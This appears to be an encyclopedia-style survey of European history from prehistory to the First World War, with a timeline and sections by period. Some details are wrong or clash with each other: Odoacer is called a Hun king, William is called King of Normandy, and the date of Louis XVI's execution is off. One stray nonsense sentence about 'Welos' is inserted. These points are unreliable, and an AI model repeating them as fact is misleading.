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          The history of Europe describes the passage of time from humans inhabiting the European continent to the present day. The first evidence of people living in Europe dates back to 35,000 BC. Europe's ancient classical antiquity dates from Homer's Iliad in Ancient Greece of around 700 BC. The Roman Republic was established in 509 BC, which was usurped by Octavian's new Roman Empire at its first century peak. Christian religion was adopted in the fourth century, and in the sixth was organized, within the Empire, by Emperor Justinian I (527565) as a Pentarchy of sees in its five most important cities: Rome, Constantinople, Antioch, Jerusalem and Alexandria. Faced with attacking hordes and plague, the Empire crumbled into east and west, and the dark ages gripped the heart of Western Europe. The Byzantine Empire kept the light of civilization burning in the East. A schism within the church's authority in 1054 was added to the earlier division that had persisted since 451 and was followed by Crusades from west to rescue the east from Muslim invasion. Feudal society began to break down, as the Mongol invaders carried the Black Death with them. Constantinople fell in 1453, yet the new world was discovered in 1492. Europe awoke from the medieval period through rediscovery of classical learning. Renaissance was followed by the Protestant Reformation, as German priest Martin Luther attacked Papal authority. The Thirty Years War, the Treaty of Westphalia and the Glorious Revolution laid the basis for a new era of expansion and enlightenment.


          The Industrial Revolution, beginning in Great Britain, allowed people for the first time to break from material subsistence. The early British Empire split as its colonies in America revolted to establish a representative government. Political change in continental Europe was spurred by the French Revolution, as people cried out for libert, egalit, fraternit. The ensuing French leader, Napoleon, conquered and reformed the social structure of the continent through war up to 1815. As more and more small property holders were granted the vote, in France and the UK, socialist and trade union activity developed and revolution gripped Europe in 1848. The last vestiges of serfdom were abolished in Austria-Hungary in 1848. Russian serfdom was abolished in 1861. The Balkan nations began to regain their independecne from the Ottoman Empire. After the Franco-Prussian War, Italy and Germany were formed from the groups of principalities in 1870 and 1871. Conflict spread across the globe, in a chase for empires, until the search for a place in the sun ended with the outbreak of World War One. In the desperation of war, the Russian Revolution promised the people "peace, bread and land". The defeat of Germany came at the price of economic destruction, codified into the Treaty of Versailles, manifested in the Great Depression and the return to a Second World War. With the victory of capitalism and communism over fascism, a cold new world order took shape. Western Europe formed a free trade area, divided by the Iron Curtain of the Soviet Union. When the Berlin Wall fell in 1989, Europe signed a new treaty of union, which in 2007 encompasses 27 European countries.


          
            
              	History of Europe Timeline
            


            
              	360 BC

              	Plato attacks Athenian democracy in the Republic.
            


            
              	323 BC

              	Alexander the Great dies and his Macedonian Empire fragments.
            


            
              	44 BC

              	Julius Caesar is murdered. The Roman Republic drawing to a close.
            


            
              	27 BC

              	Establishment of the Roman Empire under Octavian.
            


            
              	330

              	Constantine makes Constantinople into his capital, a new Rome.
            


            
              	395

              	Following the death of Theodosius I, the Empire is permanently split into eastern and western halves.
            


            
              	527

              	Justinian I is crowned emperor of Byzantium.
            


            
              	800

              	Coronation of Charlemagne as Holy Roman Emperor.
            


            
              	1054

              	Start of the East-West Schism, which divides the Christian church for centuries.
            


            
              	1066

              	Successful Norman Invasion of England by William the Conqueror.
            


            
              	1095

              	Pope Urban II calls for the First Crusade.
            


            
              	1340

              	Black Death kills a third of Europe's population.
            


            
              	1337 - 1453

              	The Hundred Years War
            


            
              	1453

              	Fall of Constantinople to the Ottoman Turks.
            


            
              	1492

              	Christopher Columbus lands in the New World.
            


            
              	1498

              	Leonardo da Vinci paints The Last Supper in Milan, as the Renaissance flourishes.
            


            
              	1517

              	Martin Luther nails his demands for Reformation to the door of the church in Wittenberg.
            


            
              	1648

              	The Peace of Westphalia ends the Thirty Years' War.
            


            
              	1789

              	The French Revolution.
            


            
              	1815

              	Following the defeat of Napoleon Bonaparte the Treaty of Vienna is signed.
            


            
              	1860s

              	Russia emancipates its serfs and Karl Marx completes the first volume of Das Kapital.
            


            
              	1914

              	Archduke Franz Ferdinand of Austria is assassinated and World War One begins.
            


            
              	1945

              	The Second World War ends with Europe in ruins.
            


            
              	1989 - 1992

              	The Berlin Wall comes down and the Treaty of the European Union is signed in Maastricht.
            

          


          


          Prehistory
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          Homo erectus and Neanderthals settled Europe long before the emergence of modern humans, Homo sapiens. The bones of the earliest Europeans are found in Dmanisi, Georgia, dated at 1.8 million years before the present. The earliest appearance of anatomically modern people in Europe has been dated to 35,000 BC. Evidence of permanent settlement dates from the 7th millennium BC in Bulgaria, Romania, and Greece. The Neolithic reached Central Europe in the 6th millennium BC and parts of Northern Europe in the 5th and 4th millennium BC. The Trypillian civilization 5508-2750 BC was the first big civilization in Europe and among the earliest in the world, it was located in modern Ukraine and also in Moldavia and Romania. It was probably earlier than even the Sumerians in the near east. The Trypillyan had cities with 15,000 citizens 6,000 years ago who covered 450 hectares.


          Also known as the Copper Age, European Chalcolithic is a time of changes and confusion. The most relevant fact is the infiltration and invasion of large parts of the territory by people originating from Central Asia, considered by mainstream scholars to be the original Indo-Europeans, although there are again several theories in dispute. Other phenomena are the expansion of Megalithism and the appearance of the first significant economic stratification and, related to this, the first known monarchies in the Balkan region. The first well-known literate civilization in Europe was that of the Minoans of the island of Crete and later the Mycenaens in the adjacent parts of Greece, starting at the beginning of the 2nd millennium BC.


          Though the use of iron was known to the Aegean peoples about 1100 BCE, it didn't reach Central Europe before 800 BCE, giving way to the Hallstatt culture, an Iron Age evolution of the culture the Urn Fields. Probably as by-product of this technological superiority of the Indo-Europeans, soon after, they clearly consolidate their positions in Italy and Iberia, penetrating deep inside those peninsulas (Rome founded in 753 BCE).


          


          Classical worlds
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          The Greeks and the Romans left a legacy in Europe which is evident in current language, thought, law and minds. Ancient Greece was a collection of city-states, out of which a primitive form of democracy developed. Athens was the most powerful and developed city, and a cradle of learning from the time of Pericles. Citizens forums debated and legislated policy of the state, and from here arose one of the most notable classical philosophers, Socrates. An incessant inquirer, Socrates was put on trial and sentenced to death for "corrupting the youth" of Athens, when his discussions conflicted with the established religious beliefs of the time. Plato, a pupil of Socrates, recorded this episode in his writings, and went on to develop his own unique philosophy, Platonism. His student, Aristotle, taught Alexander the Great, who spread Hellenistic culture and learning to the banks of the River Indus. But the Roman Republic, strengthened through victory over Carthage in the Punic Wars was rising in the region. Greek wisdom passed into Roman institutions, as Athens itself was absorbed under the banner of the Senate and People of Rome ( Senatus Populusque Romanus). The Romans expanded from Arabia to Britannia. In 44 BC as it approached its height, its leader Julius Caesar was murdered on suspicion of subverting the Republic, to become dictator. In the ensuing turmoil, Octavian usurped the reigns of power and bought the Roman Senate. While proclaiming the rebirth of the Republic, he had in fact ushered in the transfer of the Roman state from a republic to an empire, Roman Empire.


          


          Ancient Greece
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            	Homer, Iliad, Polis


            	Greco-Persian Wars


            	Delian League, Pericles, Peloponnesian War


            	Athenian democracy


            	Socrates, Plato, Aristotle


            	Alexander the Great


            	Macedon

          


          



          


          Civic Hellenism
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          The Hellenic civilization took the form of a collection of city-states (the most important being Athens, Corinth, Syracuse and Sparta), having vastly differing types of government and cultures, including what are unprecedented developments in various governmental forms, philosophy, science, mathematics, politics, sports, theatre and music. The Hellenic city-states founded a large number of colonies on the shores of the Black Sea and the Mediterranean sea, Asia Minor, Sicily and Southern Italy in Magna Graecia, but in the 4th century BC their internal wars made them an easy prey for king Philip II of Macedon. The campaigns of his son Alexander the Great spread Greek culture into Persia, Egypt and India, but also favoured contact with the older learnings of those countries, opening up a new period of development, known as Hellenism.


          



          


          The rise of Rome
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          Much of Greek learning was assimilated by the nascent Roman state as it expanded outward from Italy, taking advantage of its enemies' inability to unite: the only real challenge to Roman ascent came from the Phoenician colony of Carthage, and its defeat in the end of the 3rd century BC marked the start of Roman hegemony. First governed by kings, then as a senatorial republic (the Roman Republic), Rome finally became an empire at the end of the 1st century BC, under Augustus and his authoritarian successors. The Roman Empire had its centre in the Mediterranean Sea, controlling all the countries on its shores; the northern border was marked by the Rhine and Danube rivers; under emperor Trajan (2nd century AD) the empire reached its maximum expansion, including Britain, Romania and parts of Mesopotamia. The empire brought peace, civilization and an efficient centralized government to the subject territories, but in the 3rd century a series of civil wars undermined its economic and social strength. In the 4th century, the emperors Diocletian and Constantine were able to slow down the process of decline by splitting the empire into a Western and an Eastern part. Whereas Diocletian severely persecuted Christianity, Constantine declared an official end to state-sponsored persecution of Christians in 313 with the Edict of Milan, thus setting the stage for the empire to later become officially Christian in about 380 (which would cause the Church to become an important institution).


          


          Dark Ages
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          When Emperor Constantine had reconquered Rome under the banner of the cross in 312, he soon afterwards issued the Edict of Milan in 313, declaring the legality of Christianity in the Roman Empire. In addition, Constantine officially shifted the capital of the Roman Empire from Rome to the Greek town of Byzantium, which he renamed Constantinople ("City of Constantine"). In 395 Theodosius I, who had made Christianity the official religion of the Roman Empire, would be the last emperor to preside over a united Roman Empire, and from thenceforth, the empire would be split into two halves: the Western Roman Empire centered in Ravenna, and the Eastern Roman Empire (later to be referred to as the Byzantine Empire) centered in Constantinople. The Western Roman Empire was repeatedly attacked by marauding Germanic tribes (see: Migration Period), and in 476 finally fell to the Heruli chieftan Odoacer. Roman authority in the West completely collapsed and the western provinces soon became a patchwork of Germanic kingdoms. However, the city of Rome, under the guidance of the Roman Catholic Church still remained a centre of learning, and did much to preserve classic Roman thought in Western Europe. In the meantime, the Roman emperor in Constantinople, Justinian I, had succeeded in codifying all Roman law into the Corpus Juris Civilis (529-534). For the duration of the 6th century, the Eastern Roman Empire was embroiled in a series of deadly conflicts, first with the Persian Sassanid Empire, followed by the onslaught of the arising Islamic caliphate ( Umayyad Dynasty). By 650, the provinces of Egypt, Palestine, and Syria were lost to the Muslim forces. In the Western Europe, a poltical structure was emerging: in the power vacuum left in the wake of Rome's collapse, localised hierarchies were based on the bond of common people to the land on which they worked. Tithes were paid to the lord of the land, and the lord owed duties to the regional prince. The tithes were used to pay for the state and wars. This was the feudal system, in which new princes and kings arose, the greatest of which was the Frank ruler Charlemagne. In 800, Charlemagne, reinforced by his massive territorial conquests, was crowned Emperor of the Romans (Imperator Romanorum) by Pope Leo III, effectively solidifying his power in western Europe. Charlemagne's reign marked the beginning of a new Germanic Roman Empire in the west, the Holy Roman Empire. Outside his borders, new forces were gathering. The Kievan Rus' were marking out their territory, a Great Moravia was growing, while the Angles and the Saxons were securing their borders.


          


          The shadows of Rome


          
            [image: Romulus Augustus surrendering to the Hun in 476]

            
              Romulus Augustus surrendering to the Hun in 476
            

          


          The Roman Empire had been repeatedly attacked by barbarian hordes from Northern Europe and in 476, Rome finally fell. Romulus Augustus, the last Emperor of the Western Roman Empire surrendered to the Hun King Odoacer. British historian Edward Gibbon argued in The Decline and Fall of the Roman Empire (1776) that the Romans had become decadent, they had lost civic virtue. Gibbon said that the adoption of Christianity, meant belief in a better life after death, and therefore made people lazy and indifferent to the present. "From the eighteenth century onward", Glen W. Bowersock has remarked, "we have been obsessed with the fall: it has been valued as an archetype for every perceived decline, and, hence, as a symbol for our own fears." It remains one of the greatest historical questions, and has a tradition rich in scholarly interest.


          Some other notable dates are the Battle of Adrianople in 378, the death of Theodosius I in 395 (the last time the Roman Empire was politically unified), the crossing of the Rhine in 406 by Germanic tribes after the withdrawal of the legions in order to defend Italy against Alaric I, the death of Stilicho in 408, followed by the disintegration of the western legions, the death of Justinian I, the last Roman Emperor who tried to reconquer the west, in 565, and the coming of Islam after 632. Many scholars maintain that rather than a "fall", the changes can more accurately be described as a complex transformation. Over time many theories have been proposed on why the Empire fell, or whether indeed it fell at all.


          


          A Byzantine light
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          Many consider Emperor Constantine I (reigned AD 306337) to be the first " Byzantine Emperor". It was he who moved the imperial capital in 324 AD from Nicomedia to Byzantium, refounded as Constantinople, or Nova Roma (" New Rome"). The city of Rome itself had not served as the capital since the reign of Diocletian. Some date the beginnings of the Empire to the reign of Theodosius I (379395) and Christianity's official supplanting of the pagan Roman religion, or following his death in 395, when the political division between East and West became permanent. Others place it yet later in 476, when Romulus Augustulus, traditionally considered the last western Emperor, was deposed, thus leaving sole imperial authority with the emperor in the Greek East. Others point to the reorganization of the empire in the time of Heraclius (ca. 620) when Latin titles and usages were officially replaced with Greek versions. In any case, the changeover was gradual and by 330, when Constantine inaugurated his new capital, the process of hellenization and increasing Christianization was already under way. The Empire is generally considered to have ended after the fall of Constantinople to the Ottoman Turks in 1453.


          The Plague of Justinian was a pandemic that afflicted the Byzantine Empire, including its capital Constantinople, in the years 541542 AD. It is estimated that the Plague of Justinian killed as many as 100 million people across the world. It caused the Europe's population to drop by around 50% between 541 and 700. It also may have contributed to the success of the Arab conquests.


          


          Feudal Christendom
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          The Holy Roman Empire emerged around 800, as Charlemagne, king of the Franks, was crowned by the pope as emperor. His empire based in modern France, the Low Countries and Germany expanded into modern Hungary, Italy, Bohemia, Lower Saxony and Spain. He and his father received substantial help from an alliance with the Pope, who wanted help against the Lombards. The pope was officially a vassal of the Byzantine Empire, but the Byzantine emperor did (could do) nothing against the Lombards.


          To the east Bulgaria was established in 681 and became the first Slavic country. The powerful Bulgarian Empire was the main rival of Byzantium for control of the Balkans for centuries and from the 9th century became the cultural centre of Slavic Europe. Two states, Great Moravia and Kievan Rus', emerged among the Western and Eastern Slavs respectively in the 9th century. In the late 9th century and 10th century, northern and western Europe felt the burgeoning power and influence of the Vikings who raided, traded, conquered and settled swiftly and efficiently with their advanced sea-going vessels such as the longships. The Hungarians pillaged mainland Europe, the Pechenegs raided eastern Europe and the Arabs the south. In the 10th century independent kingdoms were established in Central Europe, for example, Poland and Kingdom of Hungary. Hungarians had stopped their pillaging campaigns; prominent nation states also included Croatia and Serbia in the Balkans. The subsequent period, ending around 1000, saw the further growth of feudalism, which weakened the Holy Roman Empire.


          


          High feudalism
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          The slumber of the Dark Ages was shaken by renewed crisis in the Church. In 1054 a schism, an insoluble split, between the two remaining Christian seats in Rome and Constantinople.


          


          A divided church
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          The Great Schism between the Western and Eastern Christian Churches was sparked in 1054 by Pope Leo IX asserting authority over three of the seats in the Pentarchy, in Antioch, Jerusalem and Alexandria. Since the mid eighth century, the Byzantine Empire's borders had been shrinking in the face of Islamic expansion. Antioch had been wrested back into Byzantine control by 1045, but the resurgent power of the Roman successors in the West claimed a right and a duty for the lost seats in Asia and Africa. One holy catholic and apostolic church. Pope Leo sparked a further dispute by defending the filioque clause in the Nicene Creed which the West had adopted customarily. Eastern Orthodox today state that the 28th Canon of the Fourth Ecumenical Council explicitly proclaimed the equality of the Bishops of Rome and Constantinople. The Orthodox also state that the Bishop of Rome has authority only over his own diocese and does not have any authority outside his diocese. There were other less significant catalysts for the Schism however, including variance over liturgical. The Schism of Catholic and Orthodox followed centuries of estrangement between Latin and Greek worlds.


          Further changes were set afoot with a redivision of power in Europe. William the Conqueror, a King of Normandy invaded England in 1066. The Norman Conquest was a pivotal event in English history for several reasons. This conquest linked England more closely with continental Europe through the introduction of a Norman aristocracy, thereby lessening Scandinavian influence. It created one of the most powerful monarchies in Europe and engendered a sophisticated governmental system.


          


          Holy wars
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          After the East-West Schism, Western Christianity was adopted by newly created kingdoms of Central Europe: Poland, Hungary and Bohemia. The Roman Catholic Church developed as a major power, leading to conflicts between the Pope and Emperor. In 1129 AD the Roman Catholic Church established the Inquisition to make Western Europeans Roman Catholic by force. The Inquisition punished those who practiced heresy (heretics)to make them repent. If they could not do so, the penalty was death. During this time many Lords and Nobles ruled the church. The Monks of Cluny worked hard to establish a church where there were no Lords or Nobles ruling it. They succeeded. Pope Gregory VII continued the work of the monks with 2 main goals, to rid the church of control by kings and nobles and to increase the power of the pope. The area of the Roman Catholic Church expanded enormously due to conversions of pagan kings ( Scandinavia, Lithuania, Poland, Hungary) and crusades. Most of Europe was Roman Catholic in the 15th century.


          Early signs of the rebirth of civilization in western Europe began to appear in the 11th century as trade started again in Italy, leading to the economic and cultural growth of independent city states such as Venice and Florence; at the same time, nation-states began to take form in places such as France, England, Spain, and Portugal, although the process of their formation (usually marked by rivalry between the monarchy, the aristocratic feudal lords and the church) actually took several centuries. These new nation-states began writing in their own cultural vernaculars, instead of the traditional Latin. Notable figures of this movement would include Christine de Pisan and Dante, the former writing in French, and the latter in Italian.(See Reconquista for the latter two countries.) On the other hand, the Holy Roman Empire, essentially based in Germany and Italy, further fragmented into a myriad of feudal principalities or small city states, whose subjection to the emperor was only formal.


          The 13th and 14th century, when the Mongol Empire came to power, is often called the Age of the Mongols. Mongol armies expanded westward under the command of Batu Khan. Their western conquests included almost all of Russia (save Novgorod, which became a vassal), Hungary, and Poland (Which had remained sovereign state). Mongolian records indicate that Batu Khan was planning a complete conquest of the remaining European powers, beginning with a winter attack on Austria, Italy and Germany, when he was recalled to Mongolia upon the death of Great Khan gedei. Most historians believe only his death prevented the complete conquest of Europe. In Russia, the Mongols of the Golden Horde ruled for almost 250 years.


          


          Black Death
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          One of the largest catastrophes to have hit Europe was the Black Death. There were numerous outbreaks, but the most severe was in the mid-1300s and is estimated to have killed a third of Europe's population.


          Beginning in the 14th century, the Baltic Sea became one of the most important trade routes. The Hanseatic League, an alliance of trading cities, facilitated the absorption of vast areas of Poland, Lithuania and other Baltic countries into the economy of Europe. This fed the growth of powerful states in Eastern Europe including Poland, Hungary, Bohemia, and Muscovy. The conventional end of the Middle Ages is usually associated with the fall of the city Constantinople and of the Byzantine Empire to the Ottoman Turks in 1453. The Turks made the city the capital of their Ottoman Empire, which lasted until 1922 and also included Egypt, Syria and most of the Balkans. The Ottoman wars in Europe, also sometimes referred as the Turkish wars, marked an essential part of the history of southeastern Europe.


          
            	Hanseatic League, Marco Polo, Lex Mercatoria, History of trade


            	Western Schism (1378-1417)


            	Hundred Years War, Joan of Arc

          


          


          Europe's awakening


          


          


          Renaissance
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          Petrarch wrote in the 1330s: "I am alive now, yet I would rather have been born in another time." He was enthusiastic about Greek and Roman antiquity  great men who were dead. Matteo Palmieri wrote in the 1430s: "Now indeed may every thoughtful spirit thank god that it has been permitted to him to be born in a new age." The renaissance was born: a new age where learning was very important.


          The Renaissance was inspired by the growth in study of Latin and Greek texts and the admiration of the Greco-Roman era as a golden age. This prompted many artists and writers to begin drawing from Roman and Greek examples for their works, but there was also much innovation in this period, especially by multi-faceted artists such as Leonardo da Vinci. Much of the Greek texts came from Islamic sources, who also improved upon them. Important political precedents were also set in this period. Niccol Machiavelli's political writing in The Prince influenced later absolutism and real-politik; also important were the many patrons who ruled states and used the artistry of the Renaissance as a sign of their power.


          


          Reformation
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          During this period corruption in the Catholic Church led to a sharp backlash in the Protestant Reformation. It gained many followers especially among princes and kings seeking a stronger state by ending the influence of the Catholic Church. Figures other than Martin Luther began to emerge as well like John Calvin whose Calvinism had influence in many countries and King Henry VIII of England who broke away from the Catholic Church in England and set up the Anglican Church. These religious divisions brought on a wave of wars inspired and driven by religion but also by the ambitious monarchs in Western Europe who were becoming more centralized and powerful.


          The Protestant Reformation also led to a strong reform movement in the Catholic Church called the Counter-Reformation, which aimed to reduce corruption as well as to improve and strengthen Catholic Dogma. An important group in the Catholic Church who emerged from this movement were the Jesuits who helped keep Eastern Europe within the Catholic fold. Still, the Catholic Church was intensely weakened by the Reformation, large parts of Europe were no longer under its sway and kings in the remaining Catholic countries began to take control of the Church institutions within their kingdoms.


          Unlike Western Europe, the countries of Central Europe, the Polish-Lithuanian Commonwealth and Hungary, were more tolerant. While still enforcing the predominance of Catholicism they continued to allow the large religious minorities to maintain their faiths. Central Europe became divided between Catholics, Protestants, Orthodox and Jews. Another important development in this period was the growth of pan-European sentiments. Emric Cruc (1623) came up with the idea of the European Council, intended to end wars in Europe; attempts to create lasting peace were no success, although all European countries (except the Russian and Ottoman Empires, regarded as foreign) agreed to make peace in 1518 at the Treaty of London. Many wars broke out again in a few years. The Reformation also made European peace impossible for many centuries.


          Another development was the idea of European superiority. The ideal of civilization was taken over from the ancient Greeks and Romans: discipline, education and living in the city were required to make people civilized; Europeans and non-Europeans were judged for their civility, and Europe regarded itself as superior to other continents. There was a movement by some such as Montaigne that regarded the non-Europeans as a better, more natural and primitive people. Post services were founded all over Europe, which allowed a humanistic interconnected network of intellectuals across Europe, despite religious divisions. However, the Roman Catholic church banned many leading scientific works; this led to an intellectual advantage for Protestant countries, where the banning of books was regionally organized. Francis Bacon and other advocates of science tried to create unity in Europe by focusing on the unity in nature.1 In the 15th century, at the end of the Middle Ages, powerful states were appearing, built by the New Monarchs who were centralizing power in France, England, and Spain. On the other hand the Parliament in the Polish-Lithuanian Commonwealth grew in power, taking legislative rights from the Polish king. The new state power was contested by parliaments in other countries especially England. New kinds of states emerged which were cooperations between territorial rulers, cities, farmer republics and knights.


          


          Discovery
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          The numerous wars did not prevent the new states from exploring and conquering wide portions of the world, particularly in Asia ( Siberia) and the newly-discovered Americas. In the 15th century, Portugal led the way in geographical exploration, followed by Spain in the early 16th century. They were the first states to set up colonies in America and trade stations on the shores of Africa and Asia, but they were soon followed by France, England and the Netherlands. In 1552, Russian tsar Ivan the Terrible conquered two major Tatar khanates, Kazan and Astrakhan, and the Yermak's voyage of 1580 led to the annexation of Siberia into Russia.


          Colonial expansion proceeded in the following centuries (with some setbacks, such as the American Revolution and the wars of independence in many American colonies). Spain had control of part of North America and a great deal of Central America and South America, the Caribbean and the Philippines; Britain took the whole of Australia and New Zealand, most of India, and large parts of Africa and North America; France held parts of Canada and India (nearly all of which was lost to Britain in 1763), Indochina, large parts of Africa and Caribbean islands; the Netherlands gained the East Indies (now Indonesia) and islands in the Caribbean; Portugal obtained Brazil and several territories in Africa and Asia; and later, powers such as Germany, Belgium, Italy and Russia acquired further colonies.


          This expansion helped the economy of the countries owning them. Trade flourished, because of the minor stability of the empires. By the late 16th century American silver accounted for one-fifth of the Spain's total budget. The European countries fought wars that were largely paid for by the money coming in from the colonies. Nevertheless, the profits of the slave trade and of plantations of the West Indies, most profitable of all the British colonies at that time, amounted to less than 5% of the British Empire's economy at the time of the Industrial Revolution in the late 18th century.


          


          Enlightenment
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          The Reformation had profound effects on the unity of Europe. Not only were nations divided one from another by their religious orientation, but some states were torn apart internally by religious strife, avidly fostered by their external enemies. France suffered this fate in the 16th century in the series of conflicts known as the French Wars of Religion, which ended in the triumph of the Bourbon Dynasty. England avoided this fate for a while and settled down under Elizabeth to a moderate Anglicanism. Much of modern day Germany was divided into numerous small states under the theoretical framework of the Holy Roman Empire, was also divided along internally drawn sectarian lines, until the Thirty Years' War seemed to see religion replaced by nationalism as the motor of European conflict. The single exception to this was the Polish-Lithuanian Commonwealth, an entity created by the Union of Lublin, highly valuing religious tolerance.


          Throughout the early part of this period, capitalism was replacing feudalism as the principal form of economic organization, at least in the western half of Europe. The expanding colonial frontiers resulted in a Commercial Revolution. The period is noted for the rise of modern science and the application of its findings to technological improvements, which culminated in the Industrial Revolution. Iberian (Spain and Portugal) exploits of the New World, which started with Christopher Columbus's venture westward in search of a quicker trade route to the East Indies in 1492, was soon challenged by English and French exploits in North America. New forms of trade and expanding horizons made new developments in international law necessary.


          After the Treaty of Westphalia which ended the Thirty Years' War, Absolutism became the norm of the continent, while parts of Europe experimented with constitutions foreshadowed by the English Civil War and particularly the Glorious Revolution. European military conflict did not cease, but had less disruptive effects on the lives of Europeans. In the advanced north-west, the Enlightenment gave a philosophical underpinning to the new outlook, and the continued spread of literacy, made possible by the printing press, created new secular forces in thought. Again, the Polish-Lithuanian Commonwealth would be an exception to this rule, with its unique quasi-democratic Golden Freedom.


          Eastern Europe was an arena of conflict for domination between Sweden, the Polish-Lithuanian Commonwealth and the Ottoman Empire. This period saw a gradual decline of these three powers which were eventually replaced by new enlightened absolutist monarchies, Russia, Prussia and Austria. By the turn of the 19th century they became new powers, having divided Poland between them, with Sweden and Turkey having experienced substantial territorial losses to Russia and Austria respectively. Numerous Polish Jews emigrated to Western Europe, founding Jewish communities in places where they had been expelled from during the Middle Ages.Welos had a profound impact on this.


          


          Revolution and nationalism
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          Industrial revolution
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          The Industrial Revolution was a period in the late 18th and early 19th centuries when major changes in agriculture, manufacturing, and transportation had a profound effect on socioeconomic and cultural conditions in Britain and subsequently spread throughout Europe and North America and eventually the world, a process that continues as industrialisation. In the later part of the 1700s the manual labour based economy of the Kingdom of Great Britain began to be replaced by one dominated by industry and the manufacture of machinery. It started with the mechanisation of the textile industries, the development of iron-making techniques and the increased use of refined coal. Once started it spread. Trade expansion was enabled by the introduction of canals, improved roads and railways. The introduction of steam power (fuelled primarily by coal) and powered machinery (mainly in textile manufacturing) underpinned the dramatic increases in production capacity. The development of all-metal machine tools in the first two decades of the 19th century facilitated the manufacture of more production machines for manufacturing in other industries. The effects spread throughout Western Europe and North America during the 19th century, eventually affecting most of the world. The impact of this change on society was enormous.


          


          Political revolution
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          French intervention in the American Revolutionary War had bankrupted the state. After repeated failed attempts at financial reform, Louis XVI was persuaded to convene the Estates-General, a representative body of the country made up of three estates: the clergy, the nobility, and the commoners. The members of the Estates-General assembled in the Palace of Versailles in May 1789, but the debate as to which voting system should be used soon became an impasse. Come June, the third estate, joined by members of the other two, declared itself to be a National Assembly and swore an oath not to dissolve until France had a constitution and created, in July, the National Constituent Assembly. At the same time the people of Paris revolted, famously storming the Bastille prison on 14 July 1789.


          At the time the assembly wanted to create a constitutional monarchy, and over the following two years passed various laws including the Declaration of the Rights of Man and of the Citizen, the abolition of feudalism, and a fundamental change in the relationship between France and Rome. At first the king went along with these changes and enjoyed reasonable popularity with the people, but as anti-royalism increased along with threat of foreign invasion, the king, stripped of his power, decided to flee along with his family. He was recognized and brought back to Paris. On 12 January 1793, having been convicted of treason, he was executed.


          On 20 September 1792 the National Convention abolished the monarchy and declared France a republic. Due to the emergency of war the National Convention created the Committee of Public Safety, controlled by Maximilien Robespierre of the Jacobin Club, to act as the country's executive. Under Robespierre the committee initiated the Reign of Terror, during which up to 40,000 people were executed in Paris, mainly nobles, and those convicted by the Revolutionary Tribunal, often on the flimsiest of evidence. Elsewhere in the country, counter-revolutionary insurrections were brutally suppressed. The regime was overthrown in the coup of 9 Thermidor ( 27 July 1794) and Robespierre was executed. The regime which followed ended the Terror and relaxed Robespierre's more extreme policies.
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          Napoleon Bonaparte was France's most successful general in the Revolutionary wars, having conquered large parts of Italy and forced the Austrians to sue for peace. In 1799 he returned from Egypt and on 18 Brumaire ( 9 November) overthrew the government, replacing it with the Consulate, in which he was First Consul. On 2 December 1804, after a failed assassination plot, he crowned himself Emperor. In 1805, Napoleon planned to invade Britain, but a renewed British alliance with Russia and Austria ( Third Coalition), forced him to turn his attention towards the continent, while at the same time failure to lure the superior British fleet away from the English Channel, ending in a decisive French defeat at the Battle of Trafalgar on 21 October put an end to hopes of an invasion of Britain. On 2 December 1805, Napoleon defeated a numerically superior Austro-Russian army at Austerlitz, forcing Austria's withdrawal from the coalition (see Treaty of Pressburg) and dissolving the Holy Roman Empire. In 1806, a Fourth Coalition was set up, on 14 October Napoleon defeated the Prussians at the Battle of Jena-Auerstedt, marched through Germany and defeated the Russians on 14 June 1807 at Friedland, the Treaties of Tilsit divided Europe between France and Russia and created the Duchy of Warsaw.


          On 12 June 1812 Napoleon invaded Russia with a Grande Arme of nearly 700,000 troops. After the measured victories at Smolensk and Borodino Napoleon occupied Moscow, only to find it burned by the retreating Russian Army, he was forced to withdraw, on the march back his army was harassed by Cossacks, and suffered disease and starvation. Only 20,000 of his men survived the campaign. By 1813 the tide had began to turn from Napoleon, having been defeated by a seven nation army at the Battle of Leipzig in October 1813. He was forced to abdicate after the Six Days Campaign and the occupation of Paris, under the Treaty of Fontainebleau he was exiled to the Island of Elba. He returned to France on 1 March 1815 (see Hundred Days), raised an army, but was comprehensively defeated by a British and Prussian force at the Battle of Waterloo on 18 June 1815.


          


          Nations rising
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          After the defeat of revolutionary France, the other great powers tried to restore the situation which existed before 1789. In 1815 at the Congress of Vienna, the major powers of Europe managed to produce a peaceful balance of power among the empires after the Napoleonic wars (despite the occurrence of internal revolutionary movements) under the Metternich system. However, their efforts were unable to stop the spread of revolutionary movements: the middle classes had been deeply influenced by the ideals of democracy of the French revolution, the Industrial Revolution brought important economical and social changes, the lower classes started to be influenced by socialist, communist and anarchistic ideas (especially those summarized by Karl Marx in The Communist Manifesto), and the preference of the new capitalists became Liberalism. Further instability came from the formation of several nationalist movements (in Germany, Italy, Poland etc.), seeking national unification and/or liberation from foreign rule. As a result, the period between 1815 and 1871 saw a large number of revolutionary attempts and independence wars. Napoleon III, nephew of Napoleon I, returned from exile in England in 1848 to be elected to the French parliament, and then as "Prince President" in a coup d'tat elected himself Emperor, a move approved later by a large majority of the French electorate. He helped in the unification of Italy by fighting the Austrian Empire and fought the Crimean War with England and the Ottoman Empire against Russia. His empire collapsed after an embarrassing defeat for France at the hands of Prussia in which he was captured. France then became a weak republic which refused to negotiate and was finished by Prussia in a few months. In Versailles, King Wilhelm I of Prussia was proclaimed Emperor of Germany, and modern Germany was born. Even though the revolutionaries were often defeated, most European states had become constitutional (rather than absolute) monarchies by 1871, and Germany and Italy had developed into nation states. The 19th century also saw the British Empire emerge as the world's first global power due in a large part to the Industrial Revolution and victory in the Napoleonic Wars.


          


          Empires
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          The peace would only last until the Ottoman Empire had declined enough to become a target for the others. (See History of the Balkans.) This instigated the Crimean War in 1854 and began a tenser period of minor clashes among the globe-spanning empires of Europe that set the stage for the First World War. It changed a third time with the end of the various wars that turned the Kingdom of Sardinia and the Kingdom of Prussia into the Italian and German nation-states, significantly changing the balance of power in Europe. From 1870, the Bismarkian hegemony on Europe put France in a critical situation. It slowly rebuilt its relationships, seeking alliances with Russia and Britain, to control the growing power of Germany. In this way, two opposing sides formed in Europe, improving their military forces and alliances year-by-year.


          


          War and peace
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          Apocalypse
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          After the relative peace of most of the 19th century, the rivalry between European powers exploded in 1914, when World War I started. Over 60 million European soldiers were mobilized from 1914  1918. On one side were Germany, Austria-Hungary, the Ottoman Empire and Bulgaria (the Central Powers/ Triple Alliance), while on the other side stood Serbia and the Triple Entente - the loose coalition of France, the United Kingdom and Russia, which were joined by Italy in 1915 and by the United States in 1917. Despite the defeat of Russia in 1917 (the war was one of the major causes of the Russian Revolution, leading to the formation of the communist Soviet Union), the Entente finally prevailed in the autumn of 1918.


